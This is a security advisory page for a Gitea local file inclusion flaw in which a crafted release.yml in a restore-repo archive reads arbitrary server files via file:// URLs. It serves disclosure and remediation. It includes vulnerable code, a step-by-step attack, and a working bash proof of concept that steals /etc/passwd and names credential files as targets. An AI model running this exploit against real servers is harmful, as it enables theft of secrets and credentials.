Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-5ggr-2f2h-jmvm

MediumCVSS 6.7 / 10
Published Jul 21, 2026·Last modified Jul 21, 2026
Affected Components(0)

No affected components available

Description

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:

  • Isa Can — Eresus Security (https://github.com/isa0-gh)
  • Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)

Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.


Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.


Affected Code

modules/uri/uri.go

func Open(rawURL string) (io.ReadCloser, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, err
    }
    switch u.Scheme {
    case "http", "https":
        resp, err := http.Get(rawURL)
        ...
    case "file":
        return os.Open(u.Path) // no scheme validation, no path restriction
    }
}

services/migrations/gitea_uploader.go (~line 370)

func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
    for _, rel := range releases {
        for _, asset := range rel.Assets {
            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
            ...
            // file content saved as release attachment
        }
    }
}

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
releases:
  - tag_name: v0.0.1
    assets:
      - name: exfiltrated.txt
        download_url: "file:///etc/passwd"
  1. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

  2. Retrieve via API:

curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
  -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

PoC

Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)

GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"

1. Create target org and repo via API

curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true

curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

2. Build malicious archive

TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"

cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
  - tag_name: v0.0.1
    name: test
    body: ""
    draft: false
    prerelease: false
    assets:
      - name: output.txt
        download_url: "file://$TARGET_FILE"
        size: 0
        download_count: 0
YAML

cd "$TMP" && zip -r poc.zip bundles/

3. Trigger restore

gitea restore-repo \
  --zip-path "$TMP/poc.zip" \
  --owner "$OWNER" \
  --repo "$REPO" \
  --units release 2>&1

4. Retrieve exfiltrated content

echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')

curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
  xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"

rm -rf "$TMP"

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.


Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
    log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
    continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.

Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh

Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql

Risk Scores
Base Score
6.7

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-58420
    Alias

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard